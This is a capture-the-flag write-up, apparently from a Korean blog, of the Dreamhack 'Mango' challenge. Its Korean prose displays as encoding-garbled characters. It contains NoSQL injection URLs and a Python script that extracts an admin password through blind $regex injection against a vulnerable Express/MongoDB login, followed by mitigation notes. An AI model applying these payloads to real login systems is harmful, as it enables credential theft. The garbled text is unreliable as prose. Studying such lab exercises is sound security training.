๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]WebHacking/๋กœ๋“œ๋งต_Basic

[Dreamhack] Level2: Mango

by Yun2๐Ÿ‘ 2023. 8. 23.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธAccess

์ด ๋ฌธ์ œ๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ €์žฅ๋œ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜๋Š” ๋ฌธ์ œ์ด๋‹ค.
flag๋Š” admin ๊ณ„์ •์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ์ด๋‹ค.

ํ”Œ๋ž˜๊ทธ์˜ ํ˜•์‹์€ DH{…} ์ด๋‹ค.
{‘uid’: ‘admin’, ‘upw’: ‘DH{32alphanumeric}’}

 

 

๐Ÿ‘พExploit Algorithm & Payload

๋”๋ณด๊ธฐ
const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

 

 

#1


: '/' ์ธ๋ฑ์Šค ํŽ˜์ด์ง€์—์„œ 'login?uid=guest&upw=guest'๋ผ๊ณ  ํ™”๋ฉด์— ์ถœ๋ ฅ๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค. 

: '/login' ํŽ˜์ด์ง€์˜  url์—(GET) uid, upw ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์„ ์ž…๋ ฅํ•˜๋ฉด ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค.

 

 : ๊ฐ’์„ ์ž…๋ ฅํ•˜๋ฉด ํ•ด๋‹น ๊ณ„์ •์˜ ์‘๋‹ต ๊ฒฐ๊ณผ๋ฅผ ์ถœ๋ ฅ๋ฐ›์„ ์ˆ˜ ์žˆ๋‹ค.

(burp suite ๋„๊ตฌ๋ฅผ ์ด์šฉํ•˜์—ฌ Request, Response ๊ฐ’์„ ํ™•์ธํ•จ)

 

 

#2


#...
const BAN = ['admin', 'dh', 'admi'];
#...

: ํ•ด๋‹น ํŽ˜์ด์ง€์—์„œ admin, dh, admi์˜ ๊ฐ’์€ ํ•„ํ„ฐ๋ง ์ ์šฉ๋œ ๊ฒƒ์„ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

/login?uid[$regex]=g&upw[$regex]= #guest
/login?uid[$regex]=a&upw[$regex]= #dreamhack
/login?uid[$regex]=i&upw[$regex]= #admin
/login?uid[$regex]=i&upw[$regex]= #adgj
/login?uid[$regex]=i&upw[$regex]= #mongo

/login?uid[$regex]=ad...&upw[$regex]=D.{ #admin

/login?uid[$ne]=guest&upw[$ne]=dreamhack #ad
/login?uid[$lt]=b&upw[$lt]=d #admin
...
NoSQL memo(Mongo DB ์ •๊ทœ์‹ ๋ฐ ํ‘œํ˜„์‹)
$expr 
์ฟผ๋ฆฌ ์–ธ์–ด ๋‚ด์—์„œ ์ง‘๊ณ„ ์‹์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
$regex ์ง€์ •๋œ ์ •๊ทœ์‹๊ณผ ์ผ์น˜ํ•˜๋Š” ๋ฌธ์„œ๋ฅผ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค.
$text ์ง€์ •๋œ ํ…์ŠคํŠธ๋ฅผ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค.
$where JavaScript ํ‘œํ˜„์‹์„ ๋งŒ์กฑํ•˜๋Š” ๋ฌธ์„œ์™€ ์ผ์น˜ํ•ฉ๋‹ˆ๋‹ค.
$ne not equal (< >)
$lt little ( < )
$gt greater ( > )
...

: NoSQL์˜ Mongo DB๋ฅผ injectionํ•˜๊ธฐ ์œ„ํ•ด ์œ„์™€ ๊ฐ™์€ string ์ฟผ๋ฆฌ ์ด์™ธ์˜ ๋‹ค์–‘ํ•œ ํ˜•ํƒœ์˜ object ์ฟผ๋ฆฌ๋กœ ์ „๋‹ฌํ•˜์—ฌ ์‚ฌ์šฉ์ž๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: [$regex]๋ฅผ ์ด์šฉํ•œ ์ •๊ทœ ํ‘œํ˜„์‹ ์ž„์˜์˜ ๊ฐ’(’.’)์„ ๋„ฃ์–ด ๋ฌธ์ž์—ด์ด ์žˆ๋Š”์ง€ ์ถ”์ธกํ•  ์ˆ˜ ์žˆ๋‹ค.

: ๋”ฐ๋ผ์„œ admin์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ธธ์ด๋ฅผ ์•Œ์•„๋‚ธ ํ›„ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์•„๋‚ด์•ผ๊ฒ ๋‹ค๊ณ  ํŒ๋‹จํ•˜์—ฌ python์œผ๋กœ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

(burp suit ๋„๊ตฌ๋กœ๋„ ๊ฐ€๋Šฅ)

 

 

#3


: ํ•ต์‹ฌ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

- target_chars์˜ ๋ณ€์ˆ˜๋Š” ์˜์–ด ์†Œ๋ฌธ์ž, ์ˆซ์ž, ํŠน์ˆ˜๋ฌธ์ž๋ฅผ ๋‹ด์•˜๋‹ค.

(์˜์–ด ๋Œ€๋ฌธ์ž๋Š” ์ฝ”๋“œ์˜ .toLowerCase() ๋•Œ๋ฌธ์— ๋ฉ”์„œ๋“œ์˜ ๊ฒฐ๊ณผ๊ฐ€ ์†Œ๋ฌธ์ž๋กœ ๋ณ€ํ™˜๋จ์œผ๋กœ ์ œ์™ธ์‹œํ‚ด)

(ํŠน์ˆ˜ ๋ฌธ์ž์—์„œ ์ฃผ์˜ํ•  ๋ถ€๋ถ„์ด ์žˆ์—ˆ๋‹ค. ํŒจ์Šค์›Œ๋“œ ๋‚ด์šฉ์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ์ฃผ์ž…ํ•˜๋Š” ํŠน์ˆ˜ ๋ฌธ์ž ์ค‘ ‘.’ ์ด ์žˆ์–ด์„œ ์˜ณ์€ ๊ฐ’์œผ๋กœ ์ฒ˜๋ฆฌ๋˜๋Š” ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค. ๋”ฐ๋ผ์„œ #6์—์„œ ๋ณ„๋„๋กœ ์ฝ”๋“œ๋ฅผ ์ฒ˜๋ฆฌ ์‹œ์ผฐ๋‹ค.)

- GET๋ฐฉ์‹์ธ params๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์š”์ฒญํ•˜์˜€๋‹ค.

 

- ์œ„์—์„œ ์–ป์€ ๋ณ€์ˆ˜ pwd_len์€(36) ‘DH{[ํŒจ์Šค์›Œ๋“œ ๊ธธ์ด]}’ ๊ธธ์ด๋‹ค. ํ•˜์ง€๋งŒ ํ•„ํ„ฐ๋ง์— dh๊ฐ€ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ฐผ์•˜๋˜ ๊ฐ’ ‘d.’์„ ๊ธธ์ด์—์„œ ๋นผ๊ณ (36-2) ๋ฐ˜๋ณต๋ฌธ์„ ๋Œ๋ ธ๋‹ค.

- ์œ„์—์„œ ์–ธ๊ธ‰ํ–ˆ๋˜ ‘.’์„ ๋งŒ๋‚˜๊ฒŒ ๋˜๋ฉด continue๋ช…๋ น์— ์˜ํ•ด์„œ ๋ณ„๋„๋กœ ํŠน์ˆ˜ ๋ฌธ์ž ์ œ์™ธ์‹œ์ผฐ๋‹ค.

import requests
import string

url = 'http://host3.dreamhack.games:13659/login'
target_chars = string.digits + string.ascii_lowercase + '{' + '}'
flag_password = '' #End user password

pwd_len = 0 
ch = '.' #์ •๊ทœ์‹ ์ž„์˜์˜ ๋ฌธ์ž ํ‘œํ˜„
while(1):
    payload = f'uid[$regex]=ad...&upw[$regex]={ch}'
    #GET๋ฐฉ์‹ -> params, POST๋ฐฉ์‹ -> data
    response = requests.get(url, params=payload)
    if 'admin' in response.text:
        pwd_len +=1
        #print(f'len-> {response.text}:{pwd_len}')
        ch += '.'
    else:
        break
    
print(f'[*] password len: {pwd_len}')

#D. -> pwd_len - 2
for i in range(1,pwd_len+1-2):
    for c in target_chars:
        if '.' in c:
            continue
        payload = f'uid[$regex]=ad...&upw[$regex]=D.{flag_password}{c}'
        response = requests.get(url, params=payload)
        print(response.request.url)
        #admin password injection check
        #print(f'case{i}: injection->{c}')
        if 'admin' in response.text:
            flag_password += c
            #print(flag_password)
            break
        
print(f'[*] admin password: DH{flag_password}')

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


 

 

๐Ÿ“ŒSummary


 -๋Œ€์‘๋ฐฉ์•ˆ-

| ๋งค๊ฐœ๋ณ€์ˆ˜ํ™”๋œ ์ฟผ๋ฆฌ ์‚ฌ์šฉ | 
๋ฌธ์ž์—ด ์—ฐ๊ฒฐ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ฟผ๋ฆฌ๋ฅผ ์ž‘์„ฑํ•˜๋Š” ๋Œ€์‹  ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด์˜ MongoDB ๋“œ๋ผ์ด๋ฒ„์—์„œ ์ œ๊ณตํ•˜๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜ํ™”๋œ ์ฟผ๋ฆฌ ๋˜๋Š” ์ค€๋น„๋œ ๋ช…๋ น๋ฌธ์„ ์‚ฌ์šฉ (์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์ฝ”๋“œ๊ฐ€ ์•„๋‹Œ ๊ฐ’์œผ๋กœ ์ฒ˜๋ฆฌ)

| ์ž…๋ ฅ ๊ฒ€์ฆ ๋ฐ ์‚ญ์ œ |
์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์ฟผ๋ฆฌ์— ์‚ฌ์šฉํ•˜๊ธฐ ์ „์— ๊ฒ€์ฆํ•˜๊ณ  ์‚ญ์ œ (์˜ˆ์ƒ๋˜๋Š” ํ˜•์‹์ด๋‚˜ ๋‚ด์šฉ์„ ์ถฉ์กฑํ•˜์ง€ ์•Š๋Š” ์ž…๋ ฅ์„ ๊ฑฐ๋ถ€)

| ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ž…๋ ฅ |
์‚ฌ์šฉ์ž ์ž…๋ ฅ์— ๋Œ€ํ•ด ํ—ˆ์šฉ๋˜๋Š” ๊ฐ’ ๋˜๋Š” ํŒจํ„ด์˜ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋ฅผ ์œ ์ง€ ๊ด€๋ฆฌ (์‚ฌ์ „ ์ •์˜๋œ ๊ธฐ์ค€๊ณผ ์ผ์น˜ํ•˜๋Š” ์ž…๋ ฅ๋งŒ ํ—ˆ์šฉ)
(์ƒํ™ฉ์— ๋”ฐ๋ผ์„œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ์ž…๋ ฅ์„ ์‚ฌ์šฉํ•˜๊ธฐ๋„ ํ•จ)

| ํŠน์ˆ˜ ๋ฌธ์ž ์ด์Šค์ผ€์ดํ”„ | 
์ฟผ๋ฆฌ์— ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ํฌํ•จํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ ํŠน์ˆ˜ ๋ฌธ์ž๋ฅผ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ด์Šค์ผ€์ดํ”„ํ•˜์—ฌ MongoDB ์—ฐ์‚ฐ์ž๋กœ ์ฒ˜๋ฆฌ๋˜์ง€ ์•Š๋„๋ก ํ•จ

...

 

SQL>

- ๋ฐ์ดํ„ฐ ์ž๋ฃŒํ˜•: ๋ฌธ์ž์—ด, ์ •์ˆ˜, ๋‚ ์งœ, ์‹ค์ˆ˜, …

- SQL(RDBMS)

- ์Šคํ‚ค๋งˆ๋ฅผ ์ •์˜, ํ•ด๋‹น ๊ทœ๊ฒฉ์— ๋งž๋Š” ๋ฐ์ดํ„ฐ๋ฅผ 2์ฐจ์› ํ…Œ์ด๋ธ” ํ˜•ํƒœ๋กœ ์ €์žฅ

์žฅ) ์ •ํ•ด์ง„ ๋ฌธ๋ฒ•์„ ํ†ตํ•ด ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— ํ•œ ๊ฐ€์ง€์˜ ์–ธ์–ด๋กœ ๋‹ค์–‘ํ•œ DBMS ์‚ฌ์šฉ

๋‹จ) ์ €์žฅํ•ด์•ผ ํ•˜๋Š” ๋ฐ์ดํ„ฐ๊ฐ€ ๋งŽ์•„์ง€๋ฉด ์šฉ๋Ÿ‰์˜ ํ•œ๊ณ„๊ฐ€ ์กด์žฌ

 

NoSQL>

- ๋ฐ์ดํ„ฐ ์ž๋ฃŒํ˜•: ์œ„ ๋‚ด์šฉ ์ด์™ธ์—๋„ ์˜ค๋ธŒ์ ํŠธ, ๋ฐฐ์—ด ํƒ€์ž…, …

- NoSQL(Non-Relational DBMS)

- key-value(ํ‚ค-๊ฐ’์„ ์ด์šฉํ•ด ๋ฐ์ดํ„ฐ ์ €์žฅ)

์žฅ) ๋ณต์žกํ•˜์ง€ ์•Š์€ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•ด ๋‹จ์ˆœ ๊ฒ€์ƒ‰ ๋ฐ ์ถ”๊ฐ€ ๊ฒ€์ƒ‰ ์ž‘์—…์„ ์œ„ํ•œ ์ตœ์ ํ™”๋œ ๊ณต๊ฐ„

๋‹จ) Redis, Dynamo, CouchDB, MongoDB ๋“ฑ ๋‹ค์–‘ํ•œ DBMS๊ฐ€ ์กด์žฌํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ๊ฐ์˜ ๊ตฌ์กฐ์™€ ์‚ฌ์šฉ ๋ฌธ๋ฒ• ์ตํ˜€์•ผ ํ•จ

๋ฐ˜์‘ํ˜•

'[Dreamhack]WebHacking > ๋กœ๋“œ๋งต_Basic' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level1: image-storage  (0) 2023.08.26
[Dreamhack] Level1: command-injection-1  (0) 2023.08.24
[Dreamhack] Level1: simple_sqli  (0) 2023.08.22
[Dreamhack] Level1: csrf-2  (0) 2023.08.21
[Dreamhack] Level1: csrf-1  (0) 2023.08.21